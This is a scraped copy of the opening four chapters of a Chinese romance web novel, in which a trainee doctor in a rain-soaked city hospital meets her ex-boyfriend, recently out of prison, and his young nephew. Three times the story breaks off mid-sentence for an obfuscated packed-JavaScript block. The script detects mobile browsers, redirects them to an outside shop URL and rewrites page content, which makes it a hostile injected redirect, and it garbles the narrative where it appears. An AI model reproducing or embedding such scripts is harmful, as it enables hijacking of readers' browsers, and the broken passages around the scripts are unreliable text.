《在暴雨季节》 1. 潇潇 《在暴雨季节》 文/寒雨连山 二零二四,秋分之后,晋江文学城首发 / 润州已经连续下了几天的雨,医院走廊,风把窗外树枝吹得东倒西歪。这才上午,天就昏沉沉地暗了下来。 这种天气容易让人心情郁烦,雨一浇,没头没尾地,整座城市都陷在沉闷的低气压中。 陈蝉衣从会议室出来,看了眼手机,十点多。 她和瞿雨音跟在队伍末尾,前面黑压压一群人。 领头是主任医师和副主任医师,都是经验到头上了年纪的人,白大褂穿得板正。一来一去讨论病例,没人敢插嘴。 也就儿科的林医生多问了两句。再往后,就是随行的住院医、规培医、实习医。 她在规培医的最后,队伍的氛围相当严肃沉默。 旁边瞿雨音小声问她:“最后讲的那个病例你记了没?” 陈蝉衣从手机上抬头:“记了。” 瞿雨音松了口气:“那一会儿借我看看?这两次开会进度太快,我没来得及。”沉默片刻,她低道,“也不知道造什么孽,今年开春这个肺炎情况真可怕。” 陈蝉衣笑笑:“每年都这样,开春换季流感就严重。” “那上周五,隔壁市不是多了一例小孩感染新型病毒型肺炎死亡的例子么?”瞿雨音说,“副主任说让把那些病例和文献吃透……记都记不住,还吃透。” 陈蝉衣低眸,弯了弯唇角。 今年早春情况不是很顺利,往年倒是有流感,换季感冒也属正常,只是今年太严重。甲流这种东西,感传染性强,传播又广,一来二去很容易爆发成大规模病毒性肺炎。 小孩老人抵抗力弱,本身就易感。这两周急诊大厅里,坐的大半都是这两类人群。 这种急性呼吸道传染病,潜伏期长,有时甚至不会注意到症状,突发高烧送过来才知道是被感染了。 门诊急诊人满为患,一时间闹得医院人心惶惶。 陈蝉衣摁灭屏幕。 瞿雨音和她都是规培第一年,上半年轮科室轮到急诊,从上周开始,接收类似病例不下百,两个人身体都很疲惫了。 今早去开会都是强打着精神。 瞿雨音:“你还笑。” “不笑。”陈蝉衣收起笔,合上文件夹:“没事。他综述的文献我看过,你要是有不懂,可以来问我。” 瞿雨音有点感动:“这么好?” 陈蝉衣看着她:“要么你自己琢磨。” “不要。有便宜我干嘛不占。”瞿雨音撞她肩膀,一扬下巴压低声音,“你看前面。” 队伍前方,是主任副主任医师,几个人走在中间,簇拥着一个男人。约莫四十多岁的年纪,姿态闲雅,没什么架子,说话温和可亲。 这是副院长请来与会的专家,姓郑。 润州开春爆发的甲流有些严重,毒株变异出现了几例死亡病例,郑医生于此颇有研究。 望着前方男人背影,陈蝉衣抿抿唇,轻轻垂下眼睛。 瞿雨音低声道:“我听说这个郑医生很有名。” 陈蝉衣没说话。 小颖说:“他不是京城那边大三甲的医生吗?当然有名了,多少人排着队找他看病,我们副院能把他请过来也不容易。 瞿雨音:“不止,这位郑主任家里好像蛮有背景,京城郑家,听过么?他家老爷子可是上面的。” 她指指天花板。 三个人拐进盥洗室,在水池台边洗手。今早的大查房和会议冲突,取消了,但是一会儿还要去急诊。 小颖手腕僵硬,水流唰唰响:“上面的……他家有军.政背景啊?” “嗯。”瞿雨音说,“而且这个郑主任也很争气,在学术界造诣颇丰。” 小颖有些憧憬:“真厉害。” 俩女生对着镜子聊了几句闲天。 陈蝉衣挤了洗手液,里里外外认真洗了三次,抽出纸巾擦干后,手插进白大褂外面口袋。她垂着眼,原地站了会儿。从聊到郑家开始,她就没做声了。 女生微微抬起眼睫,雨声喧嚣,旁边就是通往住院部的侧门。 雨水冲破门帘打进来,地上已经有了水洼。 陈蝉衣觉得有些头晕。 一楼走廊连着急诊大厅,是整个医院最混乱的地方,楼道空气里仿佛都弥漫着难闻的血腥气。消毒水,酮症酸……混着呕吐物,刺得她鼻根发疼。 隐约还能听到孩子的哭腔。 里面两个人终于走出来,陈蝉衣往旁边一步,短短几分钟,她们的话题已经拐到别的地方。 “人家都上年纪了。”瞿雨音笑嘻嘻看眼小颖,“我院的黄金单身汉也多啊,你看秦医生,虽然没有郑家有钱吧,但是人工作能力也不差啊。主要是年轻,男人老了有什么好的。” 小颖被说得耳根红:“我没说我要找!” 三个人穿过走廊,回科室拿报告和文件夹。 回来时,雨下得更加倾盆。陈蝉衣收了伞,甫一走进大厅,还没上电梯,就被扶手电梯上的人迎面撞上。 刘桥看见她们,简直像看见救星:“你们三个!” 瞿雨音不明所以眨眨眼:“怎么了?” 刘桥嘴唇哆嗦,解释不清前因后果,干脆一扬手:“上去说。” 几个人知道是情况不对,都有点着急:“你慢慢说,怎么回事。” 刘桥红着脸喘气:“就是今天早上五点,收的那小孩。” “嗯。” “那孩子来的时候不是甲流吗,半夜发烧,拍了ct发现还有点白肺。”刘桥说,“我们照例问家属病史,娘老子支支吾吾不肯说。张医生就说治疗风险,可能要住很长时间院,他们也不肯签字。那不肯签字谁敢瞎治?” “结果刚才,孩子突然惊厥了,刚送进icu他家里人就闹上了,非说是医院治死人,在那哭啊闹啊……哎呦我实在顶不住了,整个走廊都乱糟糟的,你们去帮个忙。” 二楼扶梯还能看见楼下大堂滚动的报号,陈蝉衣跟着,一路小跑往里。 隔着老远都能听见期期艾艾的哭声,其间夹杂着嘹亮的叫骂。 有医生好声好气安抚,对方全然无动于衷。 “你们这个医院怎么治病的,我好好的孩子送过来,怎么给我送进icu了!我家就这一个儿子!” 刘桥一步上去:“婶子,您家孩子要是原本就好好的,也就不会送医院来了。” 其实这话不该说,陈蝉衣都没拉住他。 瞿雨音倒是也想上前,被她拽住了。瞿雨音回头,陈蝉衣冲她摇摇头。 果然,地上两腿岔开坐着的女人,听见这话直接炸了。 她男人也猛地翻身起来,指着刘桥鼻子吼道:“你什么意思啊,咒我呢,还是咒我家小孩?你是不是咒他有病早点死呢?” 那女人也哭,但是翻来覆去只会一句:“这是我儿子,这是我心肝!我就这一个儿子!” 她哭得惨,男人像是被这话激怒,瞬间着火,一把揪着刘桥衣领:“你要逼死我们是吧,堂堂大医院有病不给治,还逼我们乱花钱!我儿子就是个普通感冒,非要把我们骗得住院,不肯住院就不治,硬生生把我儿子拖成这个样子!” 他精瘦的膀子,目露凶光,恨不得吃了刘桥似的。 刘桥攥住男人的手,梗着脖子:“诶,你不要血口喷人啊,我没有这么说过。” “那你就是这个意思啊!”婶子暴跳如雷,然后又一股脑继续躺在地上,“真是没法活了,医院瞎治,还咒我儿子去死啊!” 小颖看不下去了往前走,陈蝉衣喊她:“小颖!” 她没听见:“大姐,你不要胡说啊!” 那女人直接跳起来扇了小颖一巴掌:“你算个什么东西也来教育我?” 大概是看小颖年纪不大,又是个女生,女人揪着她袖子不肯放。 眼看着闹事要演变成打人,另外几个年轻医生赶紧把他们分开。女人倒是很快制住了,坐地上哭。 就是她男人有劲,三个人抱着都在挣扎。 不知道谁喊了一句:“别打了,保安来了!” 男人吓了一跳,陡然受了刺激往前挣动。 陈蝉衣原本抱着小颖,在安抚她:“消消气,一会儿去检查一下,看看还有没有哪里……” 话音未落,她感觉自己被猛地撞击了一下。 那一下力道奇大,她被撞得后退两步,脚踝一扭,腰直接磕到消防栓,头碰墙,紧接着就摔到了地上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750710|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上女人晦气地指着她骂:“你们都是一伙的!” 眼前模糊了几下,陈蝉衣觉得额角疼,抬手一摸,竟然摸到点血迹。 “陈医生!”刘桥眼底慌了,赶紧把她扶起来,“你没事吧?” 陈蝉衣皱着眉摆摆手,她看了眼手心血,最后不动声色捻掉,轻声说:“没事,不用管我。” 刘桥也顾不上了,把她带离现场:“你先去秦医生那边拿个报告,这里我们来就好。” 她无力点点头。 两个人穿过走廊,刘桥把她送到另一边诊室,敲了敲门:“秦医生?” 门虚掩着,听不见回音。 顾忌着可能有人在做检查,刘桥不方便直接进去,只得继续敲:“秦医生,你在里面吗?” 隔了两秒。 这下里面传出回答:“他不在。” 童音稚嫩,清脆可爱。 刘桥有些疑惑推开门,看见里面坐着个小孩。 陈蝉衣也看过去,小孩约莫三四岁大,正乖乖坐在凳子上,手里抓着个小橘子毛绒挂件。 他生得很清秀,明亮的大大的眼睛,瞳仁黑白分明。头发长了些,碎碎的额发有些遮住眼睛。 孩子望过来时,那张面颊潮红,呼吸也略显急促。 看见有人推门,他攥着小橘子的手紧了紧,小声打招呼:“哥哥姐姐好。”和外面那帮崽子仿佛不是一个物种。 刘桥瞬间萌生怜爱之心,连语气都好了不少:“这里的医生呢?” 小孩声音脆脆的:“出去了,待会儿回来。” 刘桥说:“那让这个姐姐进来陪你玩一会儿好不好?” 小孩望了陈蝉衣一眼,有些羞涩点头:“好。” 刘桥让陈蝉衣进去:“你就陪他待会儿,是秦医生的病人,估计秦老师去拿东西了。反正小孩也没人陪,万一还乱跑丢了,又有的忙。” 陈蝉衣:“我知道。” 刘桥点个头,替她掩上了门。 房间里静悄悄的,窗外还在下雨,阴雨绵绵。 医院空调永远维持在十几度,夏天或许觉得凉爽,现在就有些冷了。 陈蝉衣回眸。小孩身上穿着厚外套,里面是套头衫,小衣服扣得好好的,拉链纽扣也整整齐齐。衣服有些旧了,她垂眼,看见袖口的地方缝了线。 但是小孩捏着橘子,小手和衣服都是干净的。 看得出家里条件没有那么好,可是家长照料得很细心。 陈蝉衣走过去,坐在小孩旁边,想着他看见陌生人难免害怕。 她放轻声音,温柔问:“在做什么呢?” 小朋友抿抿唇,看着手里橘子:“捏橘子。” “捏橘子啊。”陈蝉衣弯唇一笑,甜蜜毓秀。她生得动人好看,有江城女人特有的婉约。 弯眼垂眸的模样,温和柔婉,很容易让人产生好感。 小孩看着她,不自觉屏住呼吸,耳根渐渐红了。他没见过这么好看的姐姐。 陈蝉衣说:“这个小橘子真好看,是买的吗?” 小孩摇摇头,还是小声:“不是,是阿爸自己做的。” 陈蝉衣哦了声:“你是跟着爸爸过来的呀?” 这回他点头:“阿爸去拿报告了,让我在这里等他。” 陈蝉衣又多问了几个问题,都是他能答得上的。小孩有些咳嗽,陈蝉衣倒了杯水,抽纸巾给他掖了掖额头脖颈里的汗。 他至始至终很乖。 给他喂水,他便垂下眼睛:“姐姐,我感冒会传染的。” 说着把脑袋偏向一边。 陈蝉衣笑了:“我不喝你的水。” 他也摇头,埋着小脑袋,说这样就不会传染了。也不知道谁教他的,小孩说自己口罩被阿爸不小心带走了。 最后陈蝉衣还是给他喂了水,他乖乖坐在凳子上,悬着两条短短的小腿,小口小口喝。 外面雨势更甚,秦医生留了半扇透气。陈蝉衣怕小孩冷,起身关窗。 身后突然响起开门声,紧接着是一道男人声线:“抱歉,拿报告费了点时间,我来迟了。” 那样熟悉磁沉的声音。 陈蝉衣一愣,身体瞬间便僵硬了。 她回眸,对上了一双黑漆漆冷漠的眼睛。 2. 潇潇 那一抬眼,两个人都愣了片刻。 男人穿着熟悉的黑色冲锋衣,瘦了很多,也变得愈发沉默寡言。 他没有表情,也没有更多动作。 只是站在那里,就让她心里无端地尖锐疼痛了一下。好像是在那瞬间,窗外的冷空气顺着缝隙钻进肺里。 记忆里褪色远去的画面,重新踏过岁月,一帧一帧在她眼前浮现。 陈蝉衣眨了眨眼,长长的睫毛微弱颤抖。 上次见到李潇是什么时候? 她心里问自己,随即又自嘲地一笑。 真的太久了,已经记不清。 唯一可顺着往事追溯的回忆,是那年在城西,冬夜监狱,四四方方压抑的房间。 她时隔一年才被准许去看他,外面飘着大雪。 阴冷潮湿的屋子里,李潇那双漆黑的眼眸看着她,眼底是她看不懂的黯然。 少年肩膀微微佝偻,扯着唇角,极轻地道:“陈家月,我已经这样了。” 他说:“我真的爱不起你了。” 隔着一道长桌,他在那头,她坐在这头。 她无声死死咬着唇,红着眼圈,努力不让眼泪掉下来。 而他自始至终,静静看着,无动于衷。 男人骨骼冷毅。有一双狭长冷漠的眼睛,下意识撇眼看人时,总带着一股子漫不经心的凉薄气息。 如今,七年过去,往日那双熟悉的眼睛蒙上一层灰色。 冷漠与疏离渐渐隐去,李潇年少时的样子,也彻底模糊起来。 办公室里一阵静默。 两个人都呆住,彼此都没有说话。 七年后再遇,她没有想到,竟然还是隔着一张长桌。 打破沉默的是一声孩子的呼喊:“阿爸。” 陈蝉衣这才回神。 她看一眼孩子,再看李潇。 男人没有避开她的视线,微微垂首,沉默地应了声:“嗯。” 他走过去,小孩自然伸出嫩嫩的手臂,李潇把他托着抱起来,在椅子上坐好,孩子就搁在腿上。 可能是终于看到亲近的人回来。 小孩小手攥着他衣服,往他怀里窝了个舒服的姿势。 李潇垂眼,单手护住孩子一半的侧脸,隔开窗口缝隙灌进来的凉风。 从头到尾,他没有再看陈蝉衣。 陈蝉衣视线就那么一动不动落到他身上,全身像被定格一样。 垂落的手指,蜷缩又攥紧,才勉强克制住呼吸的颤抖。 她有一瞬间,骤然想起恋爱时,李潇家里人就经常给他介绍老家的女孩子,催他大学就把婚结掉。 现在他终于结婚。 得偿所愿。 陈蝉衣却手腕发抖。 小孩抱着他脖颈,不知道说了点什么话,最后指指陈蝉衣:“那个姐姐是医生。” 陈蝉衣眸光微漾。 李潇却没什么表情。半晌,像没情绪似的来了一句:“我记得这里的医生姓秦。” 他目光看着桌上的名牌,意有所指。 陈蝉衣沉默退到一边。 她知道这个意思是不想和她说话。 小孩大概也觉察出来,气氛变得和之前一点也不一样。 没有再软乎地说“那个姐姐”。 李潇抱着孩子,小孩在他怀里安静地呼吸,偶尔说一两句话,他都垂了眼眸,温声应。 他不常笑。 但是小孩说了什么有趣的,譬如窗外的乌云,花台上的蔷薇。 他眼尾会微微垂下。 是在笑的意思。和他平时冷硬的模样大相径庭。 陈蝉衣陡然就想起上学的时候,学校里都在说,十七班的李潇不好惹。 他人冷漠又狠,常年和外面混混走一起,打人是没有轻重的。 在一中这样的重点高中,他孤僻得格格不入。 可也就是这样一个人,有了孩子之后,竟然也能变得这么温柔。 陈蝉衣心里像被密密麻麻扎了许多个洞,她没再看,轻轻别过眼去。 很快,三个人的空间,只能听见李潇哄小孩的声音。 等了一会儿。 秦医生终于匆匆赶来:“抱歉,一点事耽搁了。” 他抬头看见陈蝉衣:“蝉衣,你怎么在这里?” 秦继南是个端正面孔,却有一双温和眼。他也高,进来时身姿挺拔,步履如风。 陈蝉衣解释:“之前楼上出了点事,小刘他们去处理了,让我先来您这边拿十二床的报告。” 秦继南脚步停顿:“是那个医闹?你没受伤吗。” 陈蝉衣抿唇:“没有。” “十二床的报告在这里。”秦继南绕过李潇,“先生,请稍等。” 他从柜子里拿报告递给她:“他家小孩送来的不太及时,也没说孩子从楼梯上摔下来过。下午如果有可能,要跟肝胆外科一起会诊。” 陈蝉衣颔首:“我知道了,我会去说的。” 她转身牵扯到后腰,动作顿了一下,秦继南发现了:“你腰怎么了?” 陈蝉衣下意识看了眼:“撞了下,没事。” “那你回去好好休息。”秦继南指她,“还有额头,让护士帮忙处理了。” “嗯,我知道。” 自始至终,李潇低着头,没往她这里看一眼,从陈蝉衣的角度,只能看见男人默然的背影。 陈蝉衣轻轻带上办公室的门,关上里面的声音。 …… 外面的等候厅里坐满了人,陈蝉衣站在六号门诊室前,发了一会儿愣,最后扶着墙壁,慢慢走出儿科。 她没有想过会在这个地方,再次遇到他,她以为他还没出来。 又或者即便出来了,大概也不会待在润州。 李潇的家不在润州,在遥远的南方山区。 胃里后知后觉泛起疼痛,绵长又熟悉。 陈蝉衣想起今天早上太忙,没来得及吃早饭。儿科室闹哄哄,吵得她头昏。 她回第二办公室坐了会儿,拆了两根能量棒吃,权当垫垫肚子。 还没有坐两分钟,突然一个小医生慌里慌张跑进来:“陈医生!” 陈蝉衣立刻放下东西,随手将头发挽了,跟着跑出去。 急诊科就是这种存在,整座医院最累最脏的地方,永远没有休息的时间,永远不知道会发生什么事。 不知道病人家属会瞒报什么病情,如果是恶性传染病,那就也不知道自己的生命会终结在哪一天,哪一刻。 而她没想过,最没想到的是。 她今天遇上了根本意想不到的人。 等跟着住院医生确诊完,已经是下午一点多。 忙完这个档口,带教医生让他们去吃饭。 陈蝉衣有点不太想吃,瞿雨音是家里自己带了饭,要热一下。 两个人走出办公室,路过一办门口,里面两个女生已经在用微波炉。 “她可真是有背景,出了这种事,医闹,谁不自认倒霉?就她,居然还有人特意护着她。” 管雅晴垂下眼,淡淡一笑:“那也是因为小刘对她有意思吧?” “嘁,要不是听说她家里好像后台很硬,谁会喜欢她?就靠她长得漂亮?”梁欣不屑地嗤笑一声,盯着微波炉,“她刚来医院我就觉得她不安分,你看她那个样子,哪里像是正经来工作的?天天散着头发,看见个男的都笑。真恶心。” 梁欣嫌恶地皱眉。 微波炉停了,她打开用手指试了试温度,没热。 她又放进去,继续转两分钟。 她和陈蝉衣不对付,医院大部分都知道。 梁欣是住院医,已经快三十了,陈蝉衣比她小四五岁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两个人拿起盒饭,刚想走,隔壁主任办公室走出来三个人。 瞿雨音扯扯陈蝉衣,想避开。 陈蝉衣错开一步,然而脚步声却停在了她面前。 她抬头。 郑琮手插兜,看见她,笑着说了句:“蝉衣。” 陈蝉衣眼眸闪了闪:“郑医生。” 旁边的视线全部落在她身上。 闻言,郑琮爽朗笑道:“什么郑医生,你应该喊我郑伯伯。” * “单子。” 李潇托着孩子,腾出一只手,将手里开具的药品单递进窗口,里面配药的医生转身,走向后面两个架子。 人来人往的门诊大厅药房,男人穿着黑色外套,水洗的牛仔裤,将他的腿型衬得很长。 他垂着眼,抱着孩子等在窗口前。 沉默的样子,一言不语。 身旁走上来一对女人带着孩子,大着嗓子跟配药房的医生说话。 大概是配药房要开具的药品单,女人没有,两方在拉扯争执。 声音过于刺耳,李潇移开视线,下意识将孩子往怀里带了带。 单手捂住他侧脸,低声说:“阿爸给你带口罩好不好?” 小孩窝在他怀里,还发烧,蔫蔫的没精神,闻言点点头:“好。” 他就从手腕上把口罩摘下来,罩在小孩脸上。口罩太大,盖住了眼睛,李潇往下扯了扯。 “阿爸。”突然小孩喊他。 李潇下意识回:“嗯。” 孩子的手臂勾住他脖颈,用那种气音,很小声地问:“你为什么看起来不开心?” 3. 潇潇 “你爸爸身体怎么样?” 从医院出来外面有点吵,陈蝉衣抱着胳膊,跟在郑琮身边,那种阴雨天独有的湿冷,像是钻到了骨头里。 她有些后悔出门没多加件衣服,抱住一边胳膊搓了搓:“还挺好的。” 郑琮就问:“还在临海教书?你没跟他留在临海?” 郑琮其实还挺好奇,陈蝉衣是上大学去的临海,按道理这辈子应该跟着她爸留在海城了,不知道为什么,现在回了润州规培。 医学生规培证书是全国性的,实则各地区都有条件,江城的规培好像是不能出省的。 “嗯。”陈蝉衣低眸,回答了前一个问题。 至于后一个,她犹豫了一会儿:“我小时候在这边长大,比较熟悉。” “原来是这样,离不开故土。”郑琮随意笑着打趣,垂头,瞥了一眼身旁走着的女生。 清纯干净的鹅蛋脸,皮肤柔白,黑发乌亮,被她柔顺地挽在脑后。或许是太忙,没注意打理,有几缕发丝垂落下来。 她随意抬手捋了,别在耳后。 她很瘦,是江城女子刻板印象里的那种纤细婉约,身影几乎是很薄的一层。抬起手,指尖近乎白到透明。 眼睛惯常垂着,睫毛纤长浓密,盯着前方看时,总像是没有焦距,无端给人一股子清冷感。 郑琮有一瞬间失神。 陈如晦的女儿,这几年倒是出落得越发窈窕了。 “对了,上午在开会,见到你我都忘了问。”郑琮收回打量的视线,想起件事,“你和容微的婚事怎么样了?上次我回京城本家,见到他,听说他已经开始着手准备你们的婚礼了。” 郑容微是他的侄儿,父亲郑玺是这一辈郑家的掌家人。 不出意外,郑容微结婚后,这个位置就会传到郑容微的手上。 而郑医生郑琮,则是郑家三叔。 郑家自他往上,两个话事人雷厉风行,皆颇负盛名。 郑玺爬得高,郑家二叔在商界又颇有手腕。郑家这一辈的家底打得极其殷实,背景硬,在京城圈也称得上数一数二。 郑琮是唯一一个政商不沾边的。 陈蝉衣听到熟悉的名字,内心微微一动。 她笑:“不太知道呢,我最近比较忙,是我父亲在商议。” 倒也没说具体,也没表现得多么激动。 按理说,如果能嫁进郑家,也算是很多人做梦会笑醒的事。郑琮有些不明白,眼前这小姑娘怎么那么淡定。 就像根本无所谓一样。 他内心有了点计较,不过郑家家风向来端方持重,郑琮也没往脸上表现。 “这样啊。”郑琮适当露出一个得体的笑,“总之不着急,你们这些小娃娃的婚事,本来就该慢慢来。好多仪式环节是不能省的,否则岂不是显得我那个侄儿不懂事?” 陈蝉衣含笑:“您说得是。” 两人又寒暄了没两句,陈蝉衣始终不冷不热。 那态度很奇怪,不过分亲近,却又不会教人觉得疏远。 郑琮提了口气。 深觉陈如晦教出来的女儿,真是有点教人捉摸不透。 他假意低眸看了眼表,微笑道:“时间不早了,我还要赶回京。蝉衣,我们到时候在郑家再聚?” 陈蝉衣依着规矩将他送到门口:“好。” 附属医院外,等着辆京牌的黑色奥迪,郑琮上了车:“替我向你爸爸问好。” “嗯。郑伯伯再见。” 陈蝉衣撑伞,送郑琮上了车,挥手作别。 她看着车身远去,又原地站了会儿,这才回头,往医院走去。 附属医院门口是一条广阔的街道,两边梧桐树参天,不时有行人和车辆出入。润州临江,三月的潮湿天气,整座城市蒙上灰色。 医院有些老旧了,墙壁都爬上斑驳的青苔。 陈蝉衣一抬眼,瞿雨音就站在台阶下等她:“我靠,小蝉,你跟那个郑主任……认识啊?” 瞿雨音好奇得要死。 陈蝉衣张了张嘴,想解释,又确实不知道从何说起。 她其实也不太想很多人知道这件事,只得说:“我爸的朋友。” 瞿雨音露出个夸张表情:“那也很厉害了,能跟郑家攀上关系,那很不容易的。” 紧接着她又想到什么,得意地一笑:“梁欣还好意思说你,这要是知道了,还不得气出个好歹的。” 陈蝉衣心里好笑,想提醒她就当没听过,一转头,青苔墙边,却站着道熟悉的高大身影。 陈蝉衣一愣。 古墙青黛,男人支着长腿,靠在墙边沉默点烟。他身边小孩不见了。 男人微微低眸。额发遮住了眉眼,显出几分落拓。 细雨渺渺。 他身上的冲锋衣已经被淋湿,肩膀处晕开两滩深色痕迹,微微塌陷下去。 他没有看见陈蝉衣。 李潇眼睫一眨,手指敲下一圈烟灰。 视线落到他左手,拎着个布袋,陈蝉衣心脏微微收缩。 这时候,一个身材高挑清瘦的女人走过去,好像不怕冷,穿着吊带牛仔裤,孩子被她抱在怀里。 李潇看到她,拢住烟雾。 隔着一道雨幕,女人嗔道:“讲了多少次,不要抽烟,也不怕熏着孩子。” 李潇扯扯唇角,好像她说什么都行:“行,不抽了。” 他把烟头摁着石墙灭了,扔进垃圾桶,把孩子接过来。 女人则接过布袋:“这个给我吧,你抱他就行。” 小孩也张开手:“抱抱。” 李潇笑了,没说话,抬手逗着他,带着笑意举止亲密,看上去就像甜蜜的一家三口。 潇潇雨幕中,他像是完全没看见她,抱着孩子往林荫道走去。 陈蝉衣站了大概很久,终于收回视线。 旁边瞿雨音喊她:“我说话你听见没有?” 陈蝉衣回过神,迟疑道:“你说什么了?” 瞿雨音有点无语:“问你跟不跟小刘车回去啊?” 她把手机递到她跟前,他们关系还不错的有个私人微信群,小群里刘桥在问,有没有人要蹭车。 陈蝉衣垂眼:“不用了吧,我自己……” “马上雨就下大了,暴雨预警你没看呀?”瞿雨音在手机上搜索,“喏。你刚刚在看什么呢,丢了魂儿一样。” 陈蝉衣抖抖雨伞上的水珠,垂眸掩下情绪:“没什么。” 她抬眼看了眼天,像是自言自语:“下雨了。” 瞿雨音也看了眼天:“对啊下雨了,我是忘记带伞了。反正小刘开车,你跟我一起蹭他车回去嘛。”她揶揄,“要是你蹭,他肯定愿意。” 陈蝉衣极淡地一笑。 雨势猛烈起来。 …… 等3路车的时候,李潇让谈霜抱着孩子,在站台先坐一会。 谈霜问:“你干嘛去?” 李潇捏捏小孩的手:“买点吃的。” 他很快就回来了。 因为谈霜还要给孩子买衣服,他们是逛到大市口等的车,那边有一家蛋挞店,推推很喜欢吃。 谈霜看见李潇拎着纸袋子,里面全是蛋挞,啧一声:“你也真是的,本来他就不爱吃饭了,你还给他买。” 李潇挑了下眉,看推推:“你不爱吃?你跟你妈说呢。” 推推都馋死了! 眼巴巴看着李潇手里的蛋挞袋子:“推推爱吃。” 李潇就又看向谈霜,笑得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750712|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点儿坏。 谈霜真的无语死了:“你能不能别惯着他啊,你比我们家老郭还爱买东西了。” 李潇压根没在意,拿了个蛋挞放小孩嘴里。 懒着嗓音,拖腔带调地:“阿爸对你好不好?” 推推年纪小,眼里只有吃的,吃得满嘴渣,含糊地说:“好。” 谈霜拍他屁股:“真是哪有吃的哪有你。那是你爸吗?你舅占你便宜呢你还帮他,早晚被人卖了都给人数钱。” 推推捂着屁股:“呜呜。” 李潇笑了两声,伸手,揉了揉宝宝的脑袋。 小孩就是有点发烧,好在没有到肺炎的程度,做了肺部ct发现没有问题,谈霜也就放心了。 摸摸小孩脸说:“你要吓死妈妈了,你爸这段时间又很忙,都没办法带你去看病。” 推推软趴趴窝在她怀里,哼唧两声:“反正阿爸在。” 小奶音软绵绵的。 谈霜又拍了下他屁股:“那是舅舅。” 推推捂着小屁股,继续哭唧唧。 小孩年纪小,推推思维也没有同龄小朋友灵敏,分不清什么舅舅爸爸之类的称呼。 郭平威忙,没时间陪他,他有时候迷糊起来,也会叫李潇“阿爸”。 其实小孩就是想爸爸了,李潇也没纠正他,轻笑一声:“反正长大了能改过来的。” 谈霜也不计较了。 她看李潇低眸温柔浅笑的模样,纠结片刻:“不过,我刚刚从走廊那边出来,看到门口站着个医生……怎么感觉还挺熟悉?” 李潇捏宝宝脸的手劲很轻。 谈霜:“是不是你以前同学还是什么?” 李潇帮宝宝整理好衣服,还是低头浅笑的模样:“你看错了。” “真的假的?”谈霜微微蹙眉,像是回忆,“可是我真的记得,那张脸好像……” “真的。”李潇淡淡地,重复一遍,“看错了。” 谈霜沉默一会儿:“行吧。” 站台遮不住多少雨,李潇站在外侧,谈霜抱着孩子站在里面。 男人冲锋衣已经湿透,发梢往下淌水。 谈霜看了眼,突然低声说:“我妈说给你物色了个相亲对象,你要不要见见?” 说完,她抿紧唇。 站台外暴雨连天,谈霜看着李潇沉默的模样,蓦地有点心疼。他是四年前就出来了,刚出狱那会儿整个人很萧索,说是落魄得像条狗也不为过。 为什么进去的,没人知道,只说是犯事了,谈霜对这些都不懂,可她知道这个弟弟,小时候虽然性格孤僻些,却很努力上进,是不可能会犯事的。 他妈妈差点哭瞎眼睛。 可是出狱的时候谈霜问过他原因,当时李潇怎么说来着。 好像就是和这天一样,沉默着,穿着黑色外套站在那里,手指搓着:“没原因。” 他笑:“这种事能有什么原因。” 谈霜抱着孩子的胳膊紧了紧,努力说:“可以吗?就见见,你要是不喜欢……” “算了吧。”李潇打断她。 谈霜眨了眨眼:“小潇……” 李潇手插在口袋,看着车站外梧桐摇摆的街道:“见什么。没打算结婚的,别耽误人家。” 说罢,李潇微微侧过身,视线投向马路中央,空而淡。 他忽略身后谈霜的叹气,沉默地望着车流。 下班高峰,市中心车流不息,绿灯亮起,无数车辆发动机轰鸣,从他眼前奔驰而过。 李潇正打算收回视线,黑色的大众突然闯入视野,暴雨来临,水雾弥漫,车前玻璃摆动雨刷的一瞬间,他看见一张清秀的脸。 她坐副驾,身旁男人说了什么。 她笑了起来。 4. 潇潇 陈蝉衣那天晚上回家,洗澡的时候才发现,后腰的伤口没及时处理,有些发炎了。 她对着镜子照了照,后腰被消防栓磕到,擦伤,表面破开的地方已经结痂,肿了一大片。 浴室里水雾弥漫,蒸腾出女人纤薄裸露的脊背。 她很白,骨肉肌理匀称,肌肤柔滑软嫩。即便身量纤细,也不会给人一种干瘦的感觉,褪去衣物,反而呈出一种肉感。 消完毒上过药,陈蝉衣把垃圾带出去,浴室开了条小缝散热气。她担心今夜雨太大,会打进来弄湿瓷砖。 她住的小区离医院很近,是陈如晦帮她找的公寓,担心她上下班不方便,从这里到医院,开车只需要十分钟。房间在二楼,带玻璃花房的小平层。 陈蝉衣养了花解闷,就摆在花房入口,爬架蔷薇开得很好,这段时间暴雨,她也不敢开窗透风,好在蔷薇长得依旧不错。 她不爱煮东西,晚上就随便弄了点速食。 将近八点多,陈蝉衣吃完饭,窝在沙发里看综艺。 陈如晦突然打了电话过来:“我听继南说你们医院医闹了?你哪伤到了?” 秦继南曾经是陈如晦的学生,陈蝉衣回润州前,陈如晦曾托他帮忙照顾。其实这是很正常的事,不过卖老师一个人情,然而陈蝉衣心里总觉得不太舒服。 